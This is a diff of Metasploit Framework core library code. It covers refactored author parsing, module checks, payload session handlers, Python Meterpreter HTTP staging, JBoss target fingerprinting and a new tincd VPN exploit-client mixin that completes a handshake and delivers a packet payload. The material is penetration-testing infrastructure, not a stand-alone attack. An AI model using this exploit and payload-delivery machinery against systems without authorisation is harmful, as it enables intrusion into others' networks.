unknown_error
end
def supports_ssl?
false
end
def supports_zlib?
false
end
end
end
end

View File

@ -55,7 +55,7 @@ module Auxiliary
# Verify the ACTION
if (mod.actions.length > 0 and not mod.action)
raise MissingActionError, "You must specify a valid Action", caller
raise MissingActionError, "Please use: #{mod.actions.collect {|e| e.name} * ", "}"
end
# Verify the options
@ -113,6 +113,8 @@ module Auxiliary
# be normalized
mod.validate
mod.setup
# Run check
mod.check
end

View File

@ -182,6 +182,8 @@ module Exploit
# be normalized
mod.validate
mod.setup
# Run check
mod.check
end

View File

@ -7,6 +7,9 @@ module Msf
#
# @return [void]
def init_module_paths(opts={})
if @module_paths_inited
fail "Module paths already initialized. To add more module paths call `modules.add_module_path`"
else
# Ensure the module cache is accurate
self.modules.refresh_cache_from_database
@ -28,6 +31,9 @@ module Msf
self.modules.add_module_path(path, opts)
}
end
@module_paths_inited = true
end
end
private

View File

@ -3,15 +3,18 @@ require 'msf/core'
###
#
# This data type represents an author of a piece of code in either
# the framework, a module, a script, or something entirely unrelated.
# An author of a piece of code in either the framework, a module, a script,
# or something entirely unrelated.
#
###
class Msf::Author
# A hash of known author names
Known =
{
#
# Constants
#
# A hash that maps known author names to email addresses
KNOWN = {
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
'anonymous' => 'Unknown',
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
@ -52,73 +55,99 @@ class Msf::Author
}
#
# Class method that translates a string to an instance of the Author class,
# if it's of the right format, and returns the Author class instance
# Class Methods
#
# Parses an {Author} instance from the specified string.
#
# @param str [String] the String to parse an Author instance from
# @return [Author] a valid {Author} instance
# @return nil if `str` is not the correct format
def self.from_s(str)
instance = self.new
# If the serialization fails...
if (instance.from_s(str) == false)
return nil
end
return instance
if instance.from_s(str) == true
instance
else
nil
end
end
# Normalizes a single {Author} reference or an Array of {Author} references
# to an Array of {Author} references.
#
# Transforms the supplied source into an array of authors
#
# @param src [Author, Array<Author>] a single {Author} or an Array of {Author} instances
# @return [Array<Author>] an Array of {Author} instances
def self.transform(src)
Rex::Transformer.transform(src, Array, [ self ], 'Author')
end
# Constructs an {Author} from a given `name` and `email`
#
# @param name [String] the author's name
# @param email [String] the author's email
def initialize(name = nil, email = nil)
self.name = name
self.email = email || Known[name]
self.email = email || KNOWN[name]
end
#
# Compares authors
# Instance Attributes
#
# @!attribute email
# An optional email associated with this {Author}.
#
# @return [String, nil]
attr_accessor :email
# @!attribute name
# The name associated with this {Author}.
#
# @return [String]
attr_reader :name
#
# Instance Methods
#
# @return [Boolean] whether the {Author} instances are equal
def ==(tgt)
return (tgt.to_s == to_s)
tgt.to_s == to_s
end
# Serialize the {Author} instance to a string of the form `name` or `name <a@b.com>`
#
# Serialize the author object to a string in form:
#
# name <email>
#
# @return [String] serialized {Author}
def to_s
str = "#{name}"
if (email and not email.empty?)
str += " <#{email}>"
end
return str
str
end
#
# Translate the author from the supplied string which may
# have either just a name or also an email address
#
def from_s(str)
# Parses {Author} details from the supplied string which may
# be of the form `name` or `name <a@b.com>`
#
# @param str [String] the String to parse from
# @return [Boolean] the translation succeeded
def from_s(str)
# Supported formats:
# known_name
# user [at/@] host [dot/.] tld
# Name <user [at/@] host [dot/.] tld>
if str.present?
if ((m = str.match(/^\s*([^<]+)<([^>]+)>\s*$/)))
self.name = m[1].sub(/<.*/, '')
self.email = m[2].sub(/\s*\[at\]\s*/, '@').sub(/\s*\[dot\]\s*/, '.')
else
if (Known[str])
self.email = Known[str]
if (KNOWN[str])
self.email = KNOWN[str]
self.name = str
else
self.email = str.sub(/\s*\[at\]\s*/, '@').sub(/\s*\[dot\]\s*/, '.').gsub(/^<|>$/, '')
@ -130,20 +159,21 @@ class Msf::Author
end
end
end
self.name.strip! if self.name
return true
end
#
self.name.strip! if self.name.present?
# The parse succeeds only when a name is found
self.name.present?
end
# Sets the name of the author and updates the email if it's a known author.
#
# @param name [String] the name to set
def name=(name)
self.email = Known[name] if (Known[name])
if KNOWN.has_key?(name)
self.email = KNOWN[name]
end
@name = name
end
attr_accessor :email
attr_reader :name
end

View File

@ -52,7 +52,8 @@ module Auxiliary::AuthBrute
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @param cred_collection [Metasploit::Framework::CredentialCollection]
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_hashes(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
@ -67,7 +68,8 @@ module Auxiliary::AuthBrute
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @param cred_collection [Metasploit::Framework::CredentialCollection]
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_keys(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
@ -82,7 +84,8 @@ module Auxiliary::AuthBrute
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing Password Credentials
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @param cred_collection [Metasploit::Framework::CredentialCollection]
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_passwords(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active

View File

@ -210,9 +210,15 @@ end
###
class MissingActionError < ArgumentError
include AuxiliaryError
attr_accessor :reason
def initialize(reason='')
self.reason = reason
super
end
def to_s
"A valid action has not been selected."
"Invalid action: #{reason}"
end
end

View File

@ -37,9 +37,16 @@ module Msf
register_advanced_options(
[
OptInt.new('UDP_SECRET', [true, 'The 32-bit cookie for UDP probe requests.', 1297303091]),
OptAddress.new('GATEWAY', [false, 'The gateway IP address. This will be used rather than a random remote address for the UDP probe, if set.']),
OptInt.new('NETMASK', [false, 'The local network mask. This is used to decide if an address is in the local network.', 24]),
OptInt.new('SECRET', [true, 'A 32-bit cookie for probe requests.', 'MSF!'.unpack('N').first]),
OptAddress.new('GATEWAY_PROBE_HOST',
[
true,
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
'www.metasploit.com']),
OptPort.new('GATEWAY_PROBE_PORT',
[
false,
'The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)'])
], Msf::Exploit::Capture
)
@ -117,7 +124,7 @@ module Msf
self.capture = ::Pcap.open_live(dev, len, true, tim)
if do_arp
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
preamble = datastore['UDP_SECRET'].to_i
preamble = datastore['SECRET'].to_i
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
self.arp_capture.setfilter(arp_filter)
end
@ -304,15 +311,18 @@ module Msf
end
def probe_gateway(addr)
dst_host = (datastore['GATEWAY'] || IPAddr.new((rand(16777216) + 2969567232), Socket::AF_INET).to_s)
dst_port = rand(30000)+1024
preamble = [datastore['UDP_SECRET']].pack("N")
dst_host = datastore['GATEWAY_PROBE_HOST']
dst_port = datastore['GATEWAY_PROBE_PORT'] == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT']
preamble = [datastore['SECRET']].pack("N")
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
begin
UDPSocket.open.send(secret, 0, dst_host, dst_port)
UDPSocket.open do |sock|
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_TTL, 1)
sock.send(secret, 0, dst_host, dst_port)
end
rescue Errno::ENETUNREACH
# This happens on networks with no gatway. We'll need to use a
# This happens on networks with no gateway. We'll need to use a
# fake source hardware address.
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
end
@ -402,9 +412,11 @@ module Msf
def lookupnet
check_pcaprub_loaded
dev = datastore['INTERFACE'] || ::Pcap.lookupdev
mask = datastore['NETMASK'] || 24
begin
my_net = IPAddr.new("#{Pcap.lookupnet(dev).first}/#{mask}")
my_ip, my_mask = Pcap.lookupnet(dev)
# convert the netmask obtained from the relevant interface to CIDR
cidr_mask = my_mask.to_s(2).count('1')
my_net = IPAddr.new("#{my_ip}/#{cidr_mask}")
rescue RuntimeError => e
@pcaprub_error = e
print_status("Cannot stat device: #{@pcaprub_error}")
@ -414,10 +426,7 @@ module Msf
end
def should_arp?(ip)
@mydev ||= datastore['INTERFACE'] || ::Pcap.lookupdev
@mymask ||= datastore['NETMASK'] || 24
@mynet ||= lookupnet
@mynet.include?(IPAddr.new(ip))
lookupnet.include?(IPAddr.new(ip))
end
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache

View File

@ -59,6 +59,7 @@ require 'msf/core/exploit/wdbrpc_client'
require 'msf/core/exploit/afp'
require 'msf/core/exploit/realport'
require 'msf/core/exploit/sip'
require 'msf/core/exploit/tincd'
# Telephony
require 'msf/core/exploit/dialup'

View File

@ -0,0 +1,341 @@
require 'msf/core'
require 'msf/core/exploit/tcp'
require 'securerandom'
require 'openssl'
require 'digest/sha1'
module Msf
# This module does a handshake with a tincd server and sends one padded packet
# Author: Tobias Ospelt <tobias at modzero dot ch> @floyd_ch
module Exploit::Remote::TincdExploitClient
include Msf::Exploit::Remote::Tcp
BF_BLOCKSIZE = 64 / 8
BF_KEY_LEN = 16
BF_IV_LEN = 8
#
# Module options
#
def initialize(info = {})
super
register_options(
[Opt::RPORT(655),
# As this is only for post-auth exploits, you should know the value of the
# following variables by simply checking
# your configuration.
OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']),
OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']),
# You should see CLIENT_NAME in cleartext in the first message to the
# server by your usual tinc client (tcpdump or
# wireshark it: e.g. "0 home 17.0", so it's "home"). On the server,
# this is located in the config folder, e.g. in FreeBSD
# there is the client public key file /usr/local/etc/tinc/hosts/home
# for the client "home"
# If you don't have a clue, maybe just try the filename of your private
# key without file extension
OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , ''])
], self
)
end
#
# Setting up variables and calling cipher inits with file paths from configuration
#
def setup_ciphers
@state = :id_state
@buffer = ''
@inbuffer = ''
@encryption_queue = []
@packet_payload = nil
@keep_reading_socket = false
@server_key_len = nil
@client_key_len = nil
@client_private_key_cipher = nil
@hex_enc_key_s1 = nil
@bf_enc_cipher = nil
init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE'])
vprint_status('Ciphers locally initalized, private key and public key files seem to be ok')
@bf_dec_cipher = nil
end
#
# The main method that will be called that will call other methods to send first message
# and continously read from socket and ensures TCP disconnect at the end
#
def send_recv(packet_payload)
@packet_payload = packet_payload
@keep_reading_socket = true
connect
begin
# send the first message
id
# Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout?
while @keep_reading_socket
process_data(sock.get_once)
end
rescue Errno::ECONNRESET
if @state == :metakey_state
fail 'Server reset the connection. Probably rejecting ' +
'the private key and/or client name (e.g. client name not associated ' +
'with client public key on server side). ' +
'Wrong server public key possible too. ' +
'Please recheck client name, client private key and ' +
'server public key.'
else
fail 'Server reset the connection, reason unknown.'
end
ensure
disconnect
end
end
#
# Reading of certificate files and parsing them, generation of random keys
# and intialization of OFB mode blowfish cipher
#
def init_ciphers(server_file, client_file)
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
@server_key_len = server_public_key_cipher.n.num_bytes
@client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
@client_key_len = @client_private_key_cipher.n.num_bytes
vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge")
vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length")
# we don't want this to happen here:
# `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
# simple solution: choose the key_s1 with a leading zero byte
key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1)
enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING)
@hex_enc_key_s1 = enc_key_s1.unpack('H*')[0]
offset_key = @server_key_len - BF_KEY_LEN
offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN
bf_enc_key = key_s1[offset_key...@server_key_len]
bf_enc_iv = key_s1[offset_iv...offset_key]
@bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB')
@bf_enc_cipher.encrypt
@bf_enc_cipher.key = bf_enc_key
@bf_enc_cipher.iv = bf_enc_iv
# #Looks like ruby openssl supports other lengths than multiple of 8!
# test = @bf_enc_cipher.update('A'*10)
# test << @bf_enc_cipher.final
# puts "Testing cipher: "+test.unpack('H*')[0]
end
#
# Depending on the state of the protocol handshake and the data we get back
# from the server, this method will decide which message has to be sent next
#
def process_data(data)
@inbuffer += data if data
case @state
when :id_state
if line?
data = read_line
vprint_status("Received ID from server: [#{data[0..30]}]")
@state = :metakey_state
# next expected state
metakey
end
when :metakey_state
if line?
data = read_line
vprint_status("Received Metakey from server: [#{data[0..30]}...]")
data = data.split(' ')
fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1'
hexkey_s2 = data[5].rstrip # ("\n")
fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2
@enckey_s2 = [hexkey_s2].pack('H*')
key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING)
# metakey setup according to protocol_auth.c
# if(!EVP_DecryptInit(c->inctx, c->incipher,
# (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer
# (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer
# ))
offset_key = @client_key_len - BF_KEY_LEN
offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN
bf_dec_key = key_s2[offset_key...@client_key_len]
bf_dec_iv = key_s2[offset_iv...offset_key]
@bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB'
@bf_dec_cipher.encrypt
@bf_dec_cipher.key = bf_dec_key
@bf_dec_cipher.iv = bf_dec_iv
# don't forget, it *does* matter if you do a
# @bf_dec_cipher.reset or not, we're in OFB mode. DON'T.
vprint_status('Metakey handshake/exchange completed')
@state = :challenge_state
challenge
end
when :challenge_state
need_len = 2 * @client_key_len + 3
if @inbuffer.length >= need_len
data = pop_inbuffer_and_decrypt(need_len)
vprint_status("Received challenge from server: " +
"[#{data.unpack('H*')[0][0..30]}...]")
data = data.split(' ', 2)
fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2'
challenge2 = data[1][0...2 * @client_key_len]
challenge2 = [challenge2].pack('H*')
fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len
@state = :challenge_reply_state
challenge_reply(challenge2)
end
when :challenge_reply_state
need_len = 43
if @inbuffer.length >= need_len
data = pop_inbuffer_and_decrypt(need_len)
vprint_status("Received challenge reply from server:" +
" [#{data.unpack('H*')[0][0..30]}...]")
@state = :ack_state
ack
end
when :ack_state
need_len = 12
if @inbuffer.length >= need_len
data = pop_inbuffer_and_decrypt(need_len)
vprint_status("Received ack (server accepted challenge response):" +
"[#{data.unpack('H*')[0][0..30]}...]")
@state = :done_state
send_packet
end
end
end
#
# Encryption queue where waiting data gets encrypted and afterwards
# the remaining messages get sent
#
def handle_write
# handle encryption queue first
unless @encryption_queue.empty?
msg = @encryption_queue[0]
@encryption_queue.delete_at(0)
@buffer = @bf_enc_cipher.update(msg)
@buffer << @bf_enc_cipher.final
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
# the resulting block is used to encrypt the next block.
end
unless @buffer.empty?
sent = send_data(@buffer)
vprint_status("Sent #{sent} bytes: " +
"[#{@buffer.unpack('H*')[0][0..30]}...]")
@buffer = @buffer[sent..@buffer.length]
end
end
#
# Simple socket put/write
#
def send_data(buf)
sock.put(buf)
end
#
# Decryption method to process data sent by server
#
def pop_inbuffer_and_decrypt(size)
# In ruby openssl OFM works not only on full blocks, but also on
# parts. Therefore no worries like in pycrypto and no
# modified decrypt routine, simply use the cipher as is.
data = @bf_dec_cipher.update(@inbuffer.slice!(0, size))
data << @bf_dec_cipher.final
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
# the resulting block is used to decrypt the next block.
end
#
# Read up to the next newline from the data the server sent
#
def read_line
idx = @inbuffer.index("\n")
data = @inbuffer.slice!(0, idx)
@inbuffer.lstrip!
data
end
#
# Check if we already received a newline, meaning we got an
# entire message for the next protocol step
#
def line?
!!(@inbuffer.match("\n"))
end
#
# Start message method after TCP handshake
#
def id
msg = "0 #{datastore['CLIENT_NAME']} 17.0\n"
vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]")
@buffer += msg
handle_write
end
#
# Sending metakey (transferring a symmetric key that will get encrypted with
# public key before beeing sent to the server)
#
def metakey
msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n"
vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]")
@buffer += msg
handle_write
end
#
# Send challenge random bytes
#
def challenge
vprint_status('Sending challenge (ciphertext)')
challenge = SecureRandom.random_bytes(@server_key_len)
msg = "2 #{challenge.unpack('H*')[0]}\n"
@encryption_queue.push(msg)
handle_write
end
#
# Reply to challenge that was sent by server
#
def challenge_reply(challenge2)
vprint_status('Sending challenge reply (ciphertext)')
h = Digest::SHA1.hexdigest(challenge2)
msg = "3 #{h.upcase}\n"
@encryption_queue.push(msg)
handle_write
end
#
# Ack state to signalise challenge/response was successfull
#
def ack
vprint_status('Sending ack (signalise server that we accept challenge' +
'reply, ciphertext)')
@encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n")
handle_write
end
#
# Sending a packet inside the VPN connection after successfull protocol setup
#
def send_packet
vprint_status('Protocol finished setup. Going to send packet.')
msg = "17 #{@packet_payload.length}\n#{@packet_payload}"
plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE)
# padding
msg += 'B' * plen
@encryption_queue.push(msg)
@keep_reading_socket = false
handle_write
end
end
end

View File

@ -146,7 +146,7 @@ module BindTcp
# to implement the Stream interface.
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
begin
handle_connection(wrap_aes_socket(client_copy))
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
rescue
elog("Exception raised from BindTcp.handle_connection: #{$!}")
end

View File

@ -55,7 +55,7 @@ module FindPort
# If this is a multi-stage payload, then we just need to blindly
# transmit the stage and create the session, hoping that it works.
if (self.payload_type != Msf::Payload::Type::Single)
handle_connection(sock)
handle_connection(sock, { datastore: datastore })
# Otherwise, check to see if we found a session. We really need
# to improve this, as we could create a session when the exploit
# really didn't succeed.

View File

@ -194,6 +194,40 @@ protected
# Process the requested resource.
case uri_match
when /^\/INITPY/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + '/'
blob = ""
blob << obj.generate_stage
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
}
# Patch all the things
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
unless datastore['PROXYHOST'].blank?
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,
})
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + "/\x00"
@ -201,7 +235,7 @@ protected
blob = ""
blob << obj.generate_stage
# This is a TLV packet - I guess somewhere there should be API for building them
# This is a TLV packet - I guess somewhere there should be an API for building them
# in Metasploit :-)
packet = ""
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
@ -223,7 +257,6 @@ protected
})
when /^\/A?INITM?/
url = ''
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")

View File

@ -8,8 +8,9 @@ module Msf
# Define 8-bit checksums for matching URLs
# These are based on charset frequency
#
URI_CHECKSUM_INITW = 92
URI_CHECKSUM_INITJ = 88
URI_CHECKSUM_INITW = 92 # Windows
URI_CHECKSUM_INITP = 80 # Python
URI_CHECKSUM_INITJ = 88 # Java
URI_CHECKSUM_CONN = 98
#
@ -61,6 +62,8 @@ module Msf
case uri_check
when URI_CHECKSUM_INITW
uri_match = "/INITM"
when URI_CHECKSUM_INITP
uri_match = "/INITPY"
when URI_CHECKSUM_INITJ
uri_match = "/INITJM"
when URI_CHECKSUM_CONN

View File

@ -59,7 +59,6 @@ module ReverseTcp
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
], Msf::Handler::ReverseTcp)
self.handler_queue = ::Queue.new
self.conn_threads = []
end
@ -137,36 +136,45 @@ module ReverseTcp
# Starts monitoring for an inbound connection.
#
def start_handler
local_port = bind_port
self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false) {
client = nil
queue = ::Queue.new
begin
local_port = bind_port
self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false, queue) { |lqueue|
loop do
# Accept a client connection
begin
client = self.listener_sock.accept
rescue
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
if ! client
wlog("ReverseTcpHandlerListener-#{local_port}: No client received in call to accept, exiting...")
break
end
# Increment the has connection counter
self.pending_connections += 1
self.handler_queue.push( client )
end while true
lqueue.push(client)
rescue ::Exception
wlog("ReverseTcpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
break
end
end
}
self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false) {
while true
client = self.handler_queue.pop
self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false, queue) { |cqueue|
loop do
begin
client = cqueue.pop
if ! client
elog("ReverseTcpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...")
break
end
if datastore['ReverseListenerThreaded']
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { | client_copy|
handle_connection(wrap_aes_socket(client_copy))
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
}
else
handle_connection(wrap_aes_socket(client))
handle_connection(wrap_aes_socket(client), { datastore: datastore })
end
rescue ::Exception
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
@ -273,7 +281,6 @@ protected
attr_accessor :listener_sock # :nodoc:
attr_accessor :listener_thread # :nodoc:
attr_accessor :handler_thread # :nodoc:
attr_accessor :handler_queue # :nodoc:
attr_accessor :conn_threads # :nodoc:
end

View File

@ -120,7 +120,7 @@ module ReverseTcpDouble
begin
sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)
chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp, sock_out)
handle_connection(chan.lsock)
handle_connection(chan.lsock, { datastore: datastore })
rescue
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")
end

View File

@ -121,7 +121,7 @@ module ReverseTcpDoubleSSL
begin
sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp, sock_out)
handle_connection(chan.lsock)
handle_connection(chan.lsock, { datastore: datastore })
rescue
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")
end

View File

@ -53,6 +53,10 @@ class Module
include Msf::Module::UI
include Msf::Module::UUID
# The key where a comma-separated list of Ruby module names will live in the
# datastore, consumed by #replicant to allow clean override of MSF module methods.
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
# Make include public so we can runtime extend
public_class_method :include
@ -142,7 +146,6 @@ class Module
# Creates a fresh copy of an instantiated module
#
def replicant
obj = self.class.new
self.instance_variables.each { |k|
v = instance_variable_get(k)
@ -154,9 +157,34 @@ class Module
obj.user_input = self.user_input
obj.user_output = self.user_output
obj.module_store = self.module_store.clone
obj.perform_extensions
obj
end
# Extends self with the constant list in the datastore
# @return [void]
def perform_extensions
if datastore[REPLICANT_EXTENSION_DS_KEY].present?
if datastore[REPLICANT_EXTENSION_DS_KEY].respond_to?(:each)
datastore[REPLICANT_EXTENSION_DS_KEY].each do |const|
self.extend(const)
end
else
fail "Invalid settings in datastore at key #{REPLICANT_EXTENSION_DS_KEY}"
end
end
end
# @param[Constant] One or more Ruby constants
# @return [void]
def register_extensions(*rb_modules)
datastore[REPLICANT_EXTENSION_DS_KEY] = [] unless datastore[REPLICANT_EXTENSION_DS_KEY].present?
rb_modules.each do |rb_mod|
datastore[REPLICANT_EXTENSION_DS_KEY] << rb_mod unless datastore[REPLICANT_EXTENSION_DS_KEY].include? rb_mod
end
end
#
# Returns the unduplicated class associated with this module.
#

View File

@ -6,7 +6,7 @@ require 'rex'
# It provides methods to generate Java / JSP code.
module Msf::Payload::JSP
# @param attributes [Hash{Symbol => String,nil}]
# @param [Hash<Symbol, [String, nil]>] info
def initialize(info = {})
ret = super(info)

View File

@ -309,12 +309,14 @@ module Msf
# Allow comma seperated list of encoders so users can choose several
encoder.split(',').each do |chosen_encoder|
e = framework.encoders.create(chosen_encoder)
e.datastore.import_options_from_hash(datastore)
encoders << e if e
end
encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
elsif badchars.present?
framework.encoders.each_module_ranked('Arch' => [arch], 'Platform' => platform_list) do |name, mod|
e = framework.encoders.create(name)
e.datastore.import_options_from_hash(datastore)
encoders << e if e
end
encoders.sort_by { |my_encoder| my_encoder.rank }.reverse

View File

@ -19,7 +19,12 @@ class Msf::Post < Msf::Module
include Msf::PostMixin
def setup; end
def setup
m = replicant
if m.actions.length > 0 && !m.action
raise Msf::MissingActionError, "Please use: #{m.actions.collect {|e| e.name} * ", "}"
end
end
def type
Msf::MODULE_POST

View File

@ -3,6 +3,8 @@
module Msf::Post::Common
def rhost
return nil unless session
case session.type
when 'meterpreter'
session.sock.peerhost

View File

@ -5,13 +5,17 @@ module Msf
module HTTP
module JBoss
require 'msf/http/jboss/base'
require 'msf/http/jboss/bean_shell_scripts'
require 'msf/http/jboss/bean_shell'
require 'msf/http/jboss/bean_shell_scripts'
require 'msf/http/jboss/deployment_file_repository'
require 'msf/http/jboss/deployment_file_repository_scripts'
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::JBoss::Base
include Msf::HTTP::JBoss::BeanShellScripts
include Msf::HTTP::JBoss::BeanShell
include Msf::HTTP::JBoss::BeanShellScripts
include Msf::HTTP::JBoss::DeploymentFileRepository
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
def initialize(info = {})
super

View File

@ -46,4 +46,96 @@ module Msf::HTTP::JBoss::Base
datastore['VERB']
end
# Try to auto detect the target architecture and platform
#
# @param [Array] The available targets
# @return [Msf::Module::Target, nil] The detected target or nil
def auto_target(available_targets)
if http_verb == 'HEAD'
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
else
print_status("Attempting to automatically select a target...")
res = query_serverinfo
plat = detect_platform(res)
unless plat
print_warning('Unable to detect platform!')
return nil
end
arch = detect_architecture(res)
unless arch
print_warning('Unable to detect architecture!')
return nil
end
# see if we have a match
available_targets.each { |t| return t if t['Platform'] == plat && t['Arch'] == arch }
end
# no matching target found, use Java as fallback
java_targets = available_targets.select {|t| t.name =~ /^Java/ }
java_targets[0]
end
# Query the server information from HtmlAdaptor
#
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
def query_serverinfo
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
res = send_request_cgi(
{
'uri' => path,
'method' => http_verb,
'vars_get' =>
{
'action' => 'inspectMBean',
'name' => 'jboss.system:type=ServerInfo'
}
})
unless res && res.code == 200
print_error("Failed: Error requesting #{path}")
return nil
end
res
end
# Try to autodetect the target platform
#
# @param res [Rex::Proto::Http::Response] the http response where fingerprint platform from
# @return [String, nil] The target platform or nil
def detect_platform(res)
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
# Try to autodetect the target architecture
#
# @param res [Rex::Proto::Http::Response] the http response where fingerprint architecture from
# @return [String, nil] The target architecture or nil
def detect_architecture(res)
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
arch = $1
